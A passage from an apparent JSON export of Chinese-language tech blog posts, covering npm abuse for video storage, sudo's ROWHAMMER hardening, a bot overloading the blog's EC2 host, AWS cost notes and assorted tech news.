HDD</blockquote>\r\n\r\n<blockquote>1992 – HP Kittyhawk – 20 MB, first 1.3-inch hard-disk drive</blockquote>\r\n\r\n是個很有趣的產品啊...",
    "title": "1990 年代俄羅斯人用 VHS 帶 (錄影帶) 備份數位資料的方法：ArVid"
  },
  {
    "id": "11624",
    "body": "這邊講的 <a href=\"https://www.npmjs.com/\">npm</a> 是指 official repository... 在 <a href=\"https://lobste.rs/\">Lobsters</a> 上看到在 npm 上放 <a href=\"https://en.wikipedia.org/wiki/MPEG_transport_stream\">ts</a> 檔的文章：「<a href=\"https://lobste.rs/s/6wirda/npm_flooded_with_748_packages_store\">npm flooded with 748 packages that store movies</a>」，原文在這：「<a href=\"https://blog.sonatype.com/npm-flooded-with-748-packages-that-store-movies\">npm flooded with 748 packages that store movies</a>」。\r\n\r\n發現問題的是 <a href=\"https://www.npmjs.com/~wlwz\">wlwz</a> 這個 user (不確定什麼時候會不見，不過備份在 <a href=\"https://web.archive.org/web/20240128135000/https://www.npmjs.com/~wlwz\">Internet Archive</a> 與 <a href=\"https://archive.is/aMzKi\">Archive Today</a> 上都有)。\r\n\r\n以列出來的第一個 <a href=\"https://www.npmjs.com/package/wlwz-2312-1405\">wlwz-2312-1405</a> 來看，可以從裡面看到十個 ts 檔：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706456249-6ce24774.webp\" /><img src=\"https://i.gslin.com/s/1706456249-6ce24774.png\" alt=\"\" /></picture>\r\n\r\n找了一下字串，看起來中國那邊有人認出來是「<a href=\"https://zh.wikipedia.org/wiki/%E6%AD%A6%E6%9E%97%E5%A4%96%E4%BC%A0\">武林外傳</a>」了 (縮寫剛好就是 wlwz)：「<a href=\"https://v2ex.com/t/1012222\">npm 被用来保存盗版视频</a>」。\r\n\r\n這算是是各種 hosting 需要面對的問題...",
    "title": "npm 被拿來放影片..."
  },
  {
    "id": "11626",
    "body": "看到「<a href=\"https://news.ycombinator.com/item?id=39165342\">Rowhammer Resistant Coding in Sudo (github.com/sudo-project)</a>」這邊的討論，提到了 <a href=\"https://en.wikipedia.org/wiki/Sudo\">sudo</a> 專案 (變成 root 那個 sudo 軟體) 怎麼緩解 <a href=\"https://en.wikipedia.org/wiki/Row_hammer\">ROWHAMMER</a> 攻擊的實作，原連結是去年九月時 <a href=\"https://github.com/\">GitHub</a> 上的 commit：「<a href=\"https://github.com/sudo-project/sudo/commit/7873f8334c8d31031f8cfa83bd97ac6029309e4f\">Try to make sudo less vulnerable to ROWHAMMER attacks.</a>」。\r\n\r\n從 commit 裡面可以看到這個：\r\n\r\n<pre>- #define AUTH_SUCCESS\t\t0\r\n- #define AUTH_FAILURE\t\t1\r\n- #define AUTH_INTR\t\t2\r\n- #define AUTH_ERROR\t\t3\r\n- #define AUTH_NONINTERACTIVE\t4\r\n+ #define AUTH_SUCCESS\t\t0x52a2925\t/* 0101001010100010100100100101 */\r\n+ #define AUTH_FAILURE\t\t0xad5d6da\t/* 1010110101011101011011011010 */\r\n+ #define AUTH_INTR\t\t0x69d61fc8\t/* 1101001110101100001111111001000 */\r\n+ #define AUTH_ERROR\t\t0x1629e037\t/* 0010110001010011110000000110111 */\r\n+ #define AUTH_NONINTERACTIVE\t0x1fc8d3ac\t/* 11111110010001101001110101100 */</pre>\r\n\r\n可以看到想法上是讓要攻擊時需要改變的 bit 數量大幅增加？尤其是對 <code>AUTH_SUCCESS</code> 的 <a href=\"https://en.wikipedia.org/wiki/Hamming_distance\">hamming distance</a>？\r\n\r\n另外這段也是類似的設計：\r\n\r\n<pre>+ /* Allowed by policy (rowhammer resistent). */\r\n+ #undef ALLOW\r\n+ #define ALLOW\t 0x52a2925\t/* 0101001010100010100100100101 */\r\n+ \r\n+ /* Denied by policy (rowhammer resistent). */\r\n+ #undef DENY\r\n+ #define DENY\t 0xad5d6da\t/* 1010110101011101011011011010 */</pre>\r\n\r\n這邊 <code>ALLOW</code> 與 <code>DENY</code> 這邊也是把 hamming distance 設計到最大，兩個 XOR 後剛好是 <code>0xffffffff</code>。\r\n\r\n會不會變成安全相關軟體實作上的 practice？",
    "title": "sudo 對 ROWHAMMER 攻擊的 mitigation"
  },
  {
    "id": "11627",
    "body": "多個媒體都有報導，這邊挑一篇：「<a href=\"https://www.politico.com/news/2024/01/24/florida-social-media-restrictions-00137670\">Florida’s GOP-controlled House passes strict social media restrictions for minors</a>」。\r\n\r\n之前猶他州通過的法律是要求要有父母明確的同意才能使用，這次則是更嚴格，父母同意也不開放使用：\r\n\r\n<blockquote>Florida’s legislation appears to be stronger than laws that passed in other states recently such as Utah, where a new policy requires social media companies to receive parental consent before minors under 18 can open or maintain an account.</blockquote>\r\n\r\n<blockquote>“If we just let parents decide on this one, parents are going to be harangued so much because it makes a kid ostracized not to be on social media,” Renner told reporters earlier last week.</blockquote>\r\n\r\n是個當作「電子毒品」的概念：\r\n\r\n<blockquote>“These dopamine hits [from social media] are so addictive, it’s like a digital fentanyl,” said state Rep. Fiona McFarland.</blockquote>\r\n\r\n目前眾議院先通過了 (106 對 13)，會送往佛州的參議院：\r\n\r\n<blockquote>Legislators passed the social media legislation 106-13, with a few Democrats voting against; the adult websites bill was approved unanimously.</blockquote>\r\n\r\n從通過的議案可以看到目標是今年七月生效：\r\n\r\n<blockquote>This act shall take effect July 1, 2024.</blockquote>\r\n\r\n猶他州那邊幾家 social media 還在跟政府打各種官司，佛州這邊看起來會有新的戰線。",
    "title": "佛州眾議院通過禁止 16 歲以下的未成年人使用社群媒體"
  },
  {
    "id": "11628",
    "body": "因為「<a href=\"https://blog.gslin.org/archives/2023/07/30/11274/aws-%E5%B0%87%E9%96%8B%E5%A7%8B%E6%94%B6%E5%8F%96-ipv4-%E7%9A%84-public-ip-%E8%B2%BB%E7%94%A8/\">AWS 將開始收取 IPv4 的 Public IP 費用</a>」的關係，先試著把其中一台 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> instance 改成 IPv6-only，結果遇到不少問題...\r\n\r\n首先是對外服務的部分，本來想用 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 擋在前面，但 CloudFront 到現在還是不支援 IPv6-only origin：「<a href=\"https://repost.aws/questions/QUOWEDVURTSxWkSlenuHaS4g/cloudfront-support-for-ipv6-origins\">CloudFront support for IPv6 origins</a>」，所以這邊的選擇變成是 <a href=\"https://www.cloudflare.com/\">Cloudflare</a>。\r\n\r\n第二個是 <a href=\"https://aws.amazon.com/\">AWS</a> 自家的 API 還是有些沒有 IPv6 address，像是取得 AWS 擁有的 IP pool 的 <a href=\"https://ip-ranges.amazonaws.com/ip-ranges.json\">https://ip-ranges.amazonaws.com/ip-ranges.json</a> (本來是要取得 CloudFront 的區段，用在 <a href=\"https://nginx.org/\">nginx</a> 的設定裡)。\r\n\r\n另外就是周邊的問題，很多服務都沒有 IPv6 address，像是 <a href=\"https://api.slack.com/\">api.slack.com</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We&#39;re looking into fully supporting IPv6 at some point in the future, but it&#39;s not yet supported by all of our vendors. Stay tuned ?</p>&mdash; Slack (@SlackHQ) <a href=\"https://twitter.com/SlackHQ/status/983656157414903808?ref_src=twsrc%5Etfw\">April 10, 2018</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n各種 proxy 與 NAT 架構還是必要的措施...",
    "title": "把 AWS 上的 EC2 instance 改成 IPv6-only"
  },
  {
    "id": "11629",
    "body": "在 HN 上看到「<a href=\"https://news.ycombinator.com/item?id=39173665\">Executing Cron Scripts Reliably at Scale (slack.engineering)</a>」，發現是去年九月的文章：「<a href=\"https://slack.engineering/executing-cron-scripts-reliably-at-scale/\">Executing Cron Scripts Reliably At Scale</a>」(話說 Slack 的 engineering blog 可讀性變差好多，不過這又是另外一回事了...)。\r\n\r\n夠大的組織的 cron job system 都會自己幹一套出來用，因為檯面上的都不好用 XD\r\n\r\n<a href=\"https://slack.com/\">Slack</a> 的搞法是組合三個內部系統：\r\n\r\n<ul>\r\n\t<li>一個 container-based 管理實際執行資源的系統，基於 Bedrock，而 Bedrock 則是基於 <a href=\"https://kubernetes.io/\">k8s</a> 上的系統。</li>\r\n\t<li>一個 job queue 子系統，後面是 <a href=\"https://kafka.apache.org/\">Kafka</a> + <a href=\"https://redis.io/\">Redis</a> 組成的。</li>\r\n\t<li>一組在 <a href=\"https://vitess.io/\">Vitess</a> 上的表格，所以後面是 <a href=\"https://dev.mysql.com/\">MySQL</a>。</li>\r\n</ul>\r\n\r\n這樣的系統也注定這是 Slack-only 的系統了，看一下知道用什麼就好了...",
    "title": "Slack 自己幹的 Cron System"
  },
  {
    "id": "11631",
    "body": "這個站 <a href=\"https://blog.gslin.org/\">blog.gslin.org</a> 掛了三個多小時：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706865651-c825c38c.webp\" /><img src=\"https://i.gslin.com/s/1706865651-c825c38c.png\" alt=\"\" /></picture>\r\n\r\n先連機器 <a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">SSH</a> 看起來是正常的，但習慣性的 <code>w</code> 看一下情況發現 CPU load 有 6.x，用 <code>top</code> 看一下就看到幾隻 <code>php82-fpm</code> 跑滿 CPU，心裡大概有底是被砍站了...\r\n\r\n先把 <a href=\"https://nginx.org/\">nginx</a> 停下來，瞄了一下 <code>/var/log/nginx</code> 下面的 log 就知道是 ClaudeBot 造成的，看起來都是從 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>us-east-1</code> 機器打過來的。\r\n\r\n然後翻一下 log 看看什麼時候開始打的，先看 log 已經被 <a href=\"https://en.wikipedia.org/wiki/Gzip\">gzip</a> 起來的這些：\r\n\r\n<pre>$ echo /var/log/nginx/blog.gslin.org_ssl-access.log.{?,??}.gz | xargs -n1 | xargs -n1 -I% sh -c \"echo %; zgrep ClaudeBot % | wc\"\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.2.gz\r\n  13031  169403 1986719\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.3.gz\r\n    459    5967   85350\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.4.gz\r\n  14533  188929 2219819\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.5.gz\r\n   6502   84526 1026178\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.6.gz\r\n  32483  422279 4905919\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.7.gz\r\n  21304  276952 3221877\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.8.gz\r\n   7921  102973 1199356\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.9.gz\r\n      0       0       0\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.10.gz\r\n      0       0       0\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.11.gz\r\n      0       0       0\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.12.gz\r\n      0       0       0\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.13.gz\r\n      0       0       0\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.14.gz\r\n      0       0       0</pre>\r\n\r\n看起來是從 <code>blog.gslin.org_ssl-access.log.8.gz</code> 這邊開始的，大概是 1/25 開始 (機器上面是 UTC 時間)：\r\n\r\n<pre>-rw-r----- 1 www-data adm   1894325 Jan 26 00:00 /var/log/nginx/blog.gslin.org_ssl-access.log.8.gz</pre>\r\n\r\n然後再來看一下最近的 log，看起來是這兩天打的特別重，到五萬多：\r\n\r\n<pre>$ echo /var/log/nginx/blog.gslin.org_ssl-access.log{,.?} | xargs -n1 | xargs -n1 -I% sh -c \"echo %; grep ClaudeBot % | wc\"\r\n/var/log/nginx/blog.gslin.org_ssl-access.log\r\n  29436  382668 4387703\r\n/var/log/nginx/blog.gslin.org_ssl-access.log.1\r\n  51712  672256 7852345</pre>\r\n\r\n拉了 AWS 的圖來看跟預期的差不多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706866478-d1b729ca.webp\" /><img src=\"https://i.gslin.com/s/1706866478-d1b729ca.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706866659-5878a3f7.webp\" /><img src=\"https://i.gslin.com/s/1706866659-5878a3f7.png\" alt=\"\" /></picture>\r\n\r\n機器是 <code>t4g.micro</code> 而且沒開 burstable，先前差不多都是略低於 10% 的線在跑，剛好利用 CPU credit 的概念，這幾天看起來就是被打而跑上去。\r\n\r\n好像該補一下 alarm，丟到我自己的 <a href=\"https://slack.com/\">Slack</a> 以及 <a href=\"https://pushover.net/\">Pushover</a>...",
    "title": "t4g 的 CPU credit 被吃完了"
  },
  {
    "id": "11632",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39200323\">Starlink's laser system is beaming 42 petabytes of data per day (pcmag.com)</a>」這邊看到 <a href=\"https://www.starlink.com/\">Starlink</a> 的雷射資訊，原文是「<a href=\"https://www.pcmag.com/news/starlinks-laser-system-is-beaming-42-million-gb-of-data-per-day\">Starlink's Laser System Is Beaming 42 Million GB of Data Per Day</a>」。\r\n\r\n主要是這兩張圖的資訊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706867290-25277f1f.webp\" /><img src=\"https://i.gslin.com/s/1706867290-25277f1f.png\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706867309-6e81bc5f.webp\" /><img src=\"https://i.gslin.com/s/1706867309-6e81bc5f.png\" alt=\"\" /></picture>\r\n\r\n文字與圖片有很多不一致的地方，所以先抓個概念就好... 目前看起來是個「可商用」的階段了，而上面提到的 5400km 光是真空單向傳輸就要 18ms latency，如果擺到地球上的話，台灣到澳洲中間差不多？到關島、北海道或是新加坡都差不多在 3000km 左右。\r\n\r\n想像中，海洋上面的 client 應該會透過這個方式 relay 到附近的陸地...",
    "title": "Starlink 的雷射傳輸細節"
  },
  {
    "id": "11633",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39230513\">Stories removed from the Hacker News Front Page, updated in real time (github.com/vitoplantamura)</a>」這邊看到的計畫，專案在 <a href=\"https://github.com/\">GitHub</a> 上面：「<a href=\"https://github.com/vitoplantamura/HackerNewsRemovals\">vitoplantamura/HackerNewsRemovals</a>」。\r\n\r\n蒐集的條件是假設如果本來在第一頁上面 (top 30)，不應該下一分鐘就調出 top 90：\r\n\r\n<blockquote>The assumption is that a Story cannot go from the top 30 to a position higher than 90 in a single minute, without having been explicitly removed.</blockquote>\r\n\r\n<a href=\"https://news.ycombinator.com/user?id=dang\">dang</a> 在 <a href=\"https://news.ycombinator.com/item?id=39231821\">id=39231821</a> 有解釋有些情況是會直接被 downrank 出去的：\r\n\r\n<blockquote>The first two you listed were downranked by the flamewar detector. The last one was downranked by users. Admins didn't touch any of them.</blockquote>\r\n\r\n其實 Hacker News 混久了大家心裡也都有底，這兩個很 buggy 的機制就是要夠 buggy 才能操弄，這點從某些特定主題 (像是 climate change 相關的) 會突然消失，然後被推給這兩個系統...\r\n\r\n所以 Hacker News 被說黑箱也不是一天兩天了，隔壁 <a href=\"https://lobste.rs/\">Lobsters</a> 至少有 <a href=\"https://lobste.rs/moderations\">Moderation Log</a> 可以看...\r\n\r\n現在這樣可以撈出其他有用的連結來看了，另外應該也可以讓他變成類似 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 的方法才對，每天整理出來後變成一篇 blog post，這樣可以訂起來看，來提議給作者看看好了？",
    "title": "蒐集 Hacker News 上被不合理條件「消失」的連結"
  },
  {
    "id": "11634",
    "body": "發現好像沒提過這個 <a href=\"https://en.wikipedia.org/wiki/Userscript\">userscript</a>，由於 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 的條件式不足以擋 <a href=\"https://www.facebook.com/\">Facebook</a> 的各種廣告機制，目前需要靠 userscript 擋：「<a href=\"https://greasyfork.org/en/scripts/431970-fb-clean-my-feeds\">FB - Clean my feeds</a>」。\r\n\r\n預設會擋掉 sponsored，像是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706906848-4cb3f802.webp\" /><img src=\"https://i.gslin.com/s/1706906848-4cb3f802.png\" alt=\"\" /></picture>\r\n\r\n不過在點開左下角的 icon 後，可以看到更多選項可以擋，我是把所有列出來的都勾起來了，另外多增加一個 「<code>Interested</code>」(我這邊用的是英文版介面的 Facebook，看到的是 <code>Interested</code> 這個詞)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1706906911-043e46ab.webp\" /><img src=\"https://i.gslin.com/s/1706906911-043e46ab.png\" alt=\"\" /></picture>\r\n\r\n然後經過幾次 Facebook 反制的「改版」，作者也都蠻快就更新...",
    "title": "在桌機上擋 Facebook 各種廣告與演算法推薦文章的 userscript"
  },
  {
    "id": "11635",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=39215309\">FreeBSD 4 Bug may be present in Playstation 4/5 (wololo.net)</a>」這邊看到一堆考古的討論... 原文是在講 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 4 的 bug 可能會是 <a href=\"https://en.wikipedia.org/wiki/PlayStation_4\">PS4</a> 與 <a href=\"https://en.wikipedia.org/wiki/PlayStation_5\">PS5</a> 的 jailbreak 切入點，不過討論裡面倒是看到了很多考古...\r\n\r\n當年 FreeBSD 4.11 在 kernel 裡還是 single thread，然後是對 multi-core architecture 的理念不合分家了，另外一派變成 <a href=\"https://www.dragonflybsd.org/\">Dragonfly BSD</a>，兩邊都花了不少時間實作多核心的架構。\r\n\r\n印象中 FreeBSD 剛推出 5.x 的時候很不穩定，然後一路到 7.x 才算整個穩定下來，查了一下維基百科上的版本日期資訊：\r\n\r\n<blockquote>After almost three years of development, the first 5.0-RELEASE in January 2003 was widely anticipated, featuring support for advanced multiprocessor and application threading, and for the UltraSPARC and IA-64 platforms.</blockquote>\r\n\r\n<blockquote>FreeBSD 7.0 was released on 27 February 2008.</blockquote>\r\n\r\n是個懷舊的討論串...",
    "title": "FreeBSD 4 到 FreeBSD 5/6/7/8 年代的事情..."
  },
  {
    "id": "11637",
    "body": "發現 1/13 後 <a href=\"https://jetpack.com/\">Jetpack</a> 就會一直發信通知備份功能失效，像是這樣：\r\n\r\n<a href=\"https://www.flickr.com/photos/gslin/53511702352/\"><img src=\"https://live.staticflickr.com/65535/53511702352_a0ab36aaa6_o.png\" alt=\"\" /></a>\r\n\r\n連到 <a href=\"https://wordpress.com/\">WordPress.com</a> 上把語系改成英文，抓了一下問題發現錯誤訊息是：\r\n\r\n<blockquote>We could not back up your site because it appears to be offline\r\nBackup failed</blockquote>\r\n\r\n用這個當關鍵字去找可以找到這篇：「<a href=\"https://wordpress.org/support/topic/13-0-and-backups/\">13.0 and backups?</a>」，照著裡面的方法把 Jetpack 降版到 12.9.3 後，隔天再看備份就正常了...\r\n\r\n先把版本卡在 12.9.3，之後有新版再測試新版...",
    "title": "Jetpack 的備份功能失效"
  },
  {
    "id": "11638",
    "body": "這個 blog 跑在 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 的 <code>t4g.micro</code> 上面，以往跑起來 baseline 是 10% CPU credit 也還算夠用，但最近的 loading 特別的大，發現是有 bot 在砍站砍的比較兇 (參考「<a href=\"https://blog.gslin.org/\">t4g 的 CPU credit 被吃完了</a>」這邊)，雖然擋掉後有降不少，但看起來還是比之前高不少：(這邊是一天的平均，拉三個月資料來看)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707239685-3da9d037.webp\" /><img src=\"https://i.gslin.com/s/1707239685-3da9d037.png\" alt=\"\" /></picture>\r\n\r\n以往這種一陣一陣的可以靠 CPU credit 頂過去，但因為先前 CPU credit 被 bot 砍完後沒了，就常常撞到底，只好先開 <a href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/burstable-performance-instances-unlimited-mode.html\">Unlimited mode</a> 擋著了。\r\n\r\n另外一方面，當初買的三年 <a href=\"https://aws.amazon.com/ec2/pricing/reserved-instances/\">RI</a> 時間也快到了 (居然)，這幾天差不多要處理了：\r\n\r\n<blockquote>Start\r\nFebruary 9, 2021, 17:43 (UTC+8:00)\r\n\r\nExpires\r\nFebruary 9, 2024, 17:43 (UTC+8:00)</blockquote>\r\n\r\n升級到 <code>t4g.small</code> 剛好會符合 AWS 的免費方案，看起來可以先掙扎一陣子：\r\n\r\n<blockquote>Until December 31, 2024, all AWS customers will be enrolled automatically in the T4g free trial as detailed in the AWS Free Tier. During the free-trial period, customers who run a t4g.small instance will automatically get 750 free hours per month deducted from their bill during each month.</blockquote>\r\n\r\n我記得我算過但沒找到文章，所以這邊還是算一下... 如果 <code>t4g.small</code> 要錢的話，與 Unlimited mode 的消費差異大概是多少。\r\n\r\n<code>us-east-1</code> 的 <code>t4g.small</code> 是 $0.0168/hr，用 720 小時換算是 $12.096/mo。\r\n\r\n假設 CPU 使用率平均在 15%，那用 <code>t4g.micro</code> 的 $0.0084/hr 會是 $6.408/mo，另外加上 5% * 2vCPU = 10% 的 Unlimited mode 費用 ($0.04/hr/vCPU)，會是 $2.88/mo。\r\n\r\n假設 CPU 使用率平均在 20% (剛好跟 <code>t4g.small</code> 的 baseline 相同的話)，會是 $5.76/mo，所以如果用不到對應的記憶體的話，跑 Unlimited mode 會比較划算。\r\n\r\n先開一張票。年底的時候再來看看當時的機種與優惠方案...",
    "title": "往上升級或是用 Unlimited mode 撐"
  },
  {
    "id": "11639",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Bluesky_(social_network)\">Bluesky</a> 宣佈開放一般註冊了，不再需要邀請碼：「<a href=\"https://bsky.social/about/blog/02-06-2024-join-bluesky\">Join Bluesky Today (Bye, Invites!)</a>」。\r\n\r\n想玩的先前應該都拿到邀請註冊過了，現在不知道會有什麼新的玩意出來。\r\n\r\n對玩技術的人來說，就只是另外一個 protocol，而且目前沒什麼分散性；對一般人來說，就只是另外一個社群... 重點還是在怎麼經營吸引人。",
    "title": "Bluesky 開放一般註冊了"
  },
  {
    "id": "11640",
    "body": "<a href=\"https://www.vultr.com/\">Vultr</a> 推出了自己的 CDN：「<a href=\"https://www.vultr.com/news/vultr-cdn/\">Vultr CDN: Revolutionizing Content Delivery with Global Reach and Unbeatable Price-to-Performance</a>」。\r\n\r\n畢竟手上也有很多機房了，這算是弄個加值服務賣... 不過對於量小的人就不太划算了，有基本開銷 US$10/mo (看起來不可抵使用的量)，然後再加上頻寬費：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707253881-1936ab50.webp\" /><img src=\"https://i.gslin.com/s/1707253881-1936ab50.png\" alt=\"\" /></picture>\r\n\r\n亞洲區的點主要還是比較傳統的點... 其中日本的東京與大阪以及新加坡都是 US$0.03/GB，韓國的首爾則是 US$0.05/GB；歐美看起來是 US$0.01/GB。\r\n\r\n目前還在 beta，可以觀望看看...",
    "title": "Vultr 推出了自己的 CDN"
  },
  {
    "id": "11641",
    "body": "看到 <a href=\"https://jquery.com/\">jQuery</a> 的公告「<a href=\"https://blog.jquery.com/2024/02/06/jquery-4-0-0-beta/\">jQuery 4.0.0 BETA!</a>」這篇，有種「啊，居然」的感覺冒出來...\r\n\r\n要注意這個版本放掉了 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_10\">IE10</a> 以及更早的版本，但還是有支援 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\">IE11</a>，目前計畫到 jQuery 5.0 才會拔掉：\r\n\r\n<blockquote>jQuery 4.0 drops support for IE 10 and older. Some may be asking why we didn’t remove support for IE 11. We plan to removes support in stages, and the next step will happen in jQuery 5.0.</blockquote>\r\n\r\n另外一個頗大的改變是 source 端改成 <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules\">ES module</a> 了，這樣對 jQuery 團隊開發上應該會方便不少 (很多現代工具的引入)：\r\n\r\n<blockquote>jQuery source migrated to ES modules\r\n\r\nIt was a special day when the jQuery source on the main branch was migrated from AMD to ES modules. The jQuery source has always been published with jQuery releases on npm and GitHub, but could not be imported directly as modules without RequireJS, which was jQuery’s build tool of choice. We have since switched to Rollup for packaging jQuery. And we also run tests on the ES modules before packaging them.</blockquote>\r\n\r\n這有種古蹟改建的味道啊...",
    "title": "jQuery 4.0.0 Beta (啊，居然)"
  },
  {
    "id": "11643",
    "body": "昨天在這邊提到因為 <a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 對 <code>t4g.small</code> 提供了 free tier 方案 (到今年年底)，blog 主機剛好從 <code>t4g.micro</code> 改成用 <code>t4g.small</code>，到年底前可以看看有沒有 <code>t5g</code> 或是類似的主機出來：「<a href=\"https://blog.gslin.org/archives/2024/02/07/11638/%e5%be%80%e4%b8%8a%e5%8d%87%e7%b4%9a%e6%88%96%e6%98%af%e7%94%a8-unlimited-mode-%e6%92%90/\">往上升級或是用 Unlimited mode 撐</a>」。\r\n\r\n除了換完後 CPU credit 給的量上升減緩了情況以外，我在檢查時才發現 <a href=\"https://www.php.net/\">PHP</a> 的 <a href=\"https://www.php.net/manual/en/book.opcache.php\">opcache</a> 的 cache 使用量也超過預設值 128MB 了，改成 192MB 後看起來 CPU usage 也有下降一些：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707331742-e8d943a3.webp\" /><img src=\"https://i.gslin.com/s/1707331742-e8d943a3.png\" alt=\"\" /></picture>\r\n\r\n這點算是先前沒注意到的，上面 PHP 跑兩個 <a href=\"https://wordpress.org/\">WordPress</a> 以及一個 <a href=\"https://www.mediawiki.org/\">MediaWiki</a> (都掛了各式各樣的 plugin &amp; extension)，還有一個自己寫的小東西，這樣會超過 opcache 的 cache 大小...\r\n\r\n現在換到 <code>t4g.small</code> 後總算又開始養的起 CPU credit 了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707331781-cca69550.webp\" /><img src=\"https://i.gslin.com/s/1707331781-cca69550.png\" alt=\"\" /></picture>\r\n\r\n另外也補上幾個 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> Alarms (看起來 free tier 是十個) 監控主機的 <code>CPUCreditBalance</code>，然後透過 <a href=\"https://aws.amazon.com/chatbot/\">AWS Chatbot</a> 接到自己的 <a href=\"https://slack.com/\">Slack</a> 上，至少之後有狀況的時候會主動通知。",
    "title": "換成 t4g.small 後的一些整理"
  },
  {
    "id": "11645",
    "body": "收到 <a href=\"https://ifttt.com/\">IFTTT</a> 的通知信件，本來的 Legacy Pro (US$1.99/mo) 要變成 Pro+ 變成 US$3.99/mo：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707335921-df7b8254.webp\" /><img src=\"https://i.gslin.com/s/1707335921-df7b8254.png\" alt=\"\" /></picture>\r\n\r\n翻了一下 <a href=\"https://news.ycombinator.com/\">Hacker News</a>，看起來前幾天有提到：「<a href=\"https://news.ycombinator.com/item?id=39155028\">IFTTT is killing its pay-what-you-want Legacy Pro plan (2023) (techhive.com)</a>」，原文看起來是去年六月的文章：「<a href=\"https://www.techhive.com/article/1940144/ifttt-killing-pay-what-you-want-legacy-pro-plan.html\">IFTTT is killing its pay-what-you-want Legacy Pro plan</a>」，當時 IFTTT 的公告則是在「<a href=\"https://help.ifttt.com/hc/en-us/articles/16014462721435-Important-Update-to-the-Legacy-Pro-Plan\">Important Update to the Legacy Pro Plan</a>」這邊。\r\n\r\n這看起來不是什麼好消息... 不是因為對 Legacy Pro 動手這件事情，而是這次的動作代表 (i.e. 我的解讀) 沒有足夠的新進用戶去「忽略」掉 Legacy Pro 的成本。\r\n\r\n接下來應該是要思考拆出來的事情？畢竟手上有 VPS instance 可以跑...",
    "title": "IFTTT 將原本的 Legacy Pro 漲價一倍"
  },
  {
    "id": "11646",
    "body": "在『<a href=\"https://blog.gslin.org/archives/2024/02/03/11633/%e8%92%90%e9%9b%86-hacker-news-%e4%b8%8a%e8%a2%ab%e4%b8%8d%e5%90%88%e7%90%86%e6%a2%9d%e4%bb%b6%e3%80%8c%e6%b6%88%e5%a4%b1%e3%80%8d%e7%9a%84%e9%80%a3%e7%b5%90/\">蒐集 Hacker News 上被不合理條件「消失」的連結</a>』這篇看到的網站，定時去抓 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上新的連結與首頁上的連結後整理出來的網站：「<a href=\"https://news.social-protocols.org/\">Quality News</a>」。\r\n\r\n像是現在在 top 1 的「<a href=\"https://news.ycombinator.com/item?id=39297185\">John Walker, founder of Autodesk, has died (fourmilab.ch)</a>」這篇，對應的資訊頁就在「<a href=\"https://news.social-protocols.org/stats?id=39297185\">Hacker News Story Stats: John Walker, founder of Autodesk, has died</a>」這邊，抓個截圖：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1707367300-0c544e15.webp\" /><img src=\"https://i.gslin.com/s/1707367300-0c544e15.png\" alt=\"\" /></picture>\r\n\r\n這樣有些文章覺得奇怪時可以交叉看一下資料，就會對 Hacker News 上面的「操作」有些「感覺」了...",
    "title": "看 Hacker News 上面文章變化的網站：Quality News"
  },
  {
    "id": "11647",
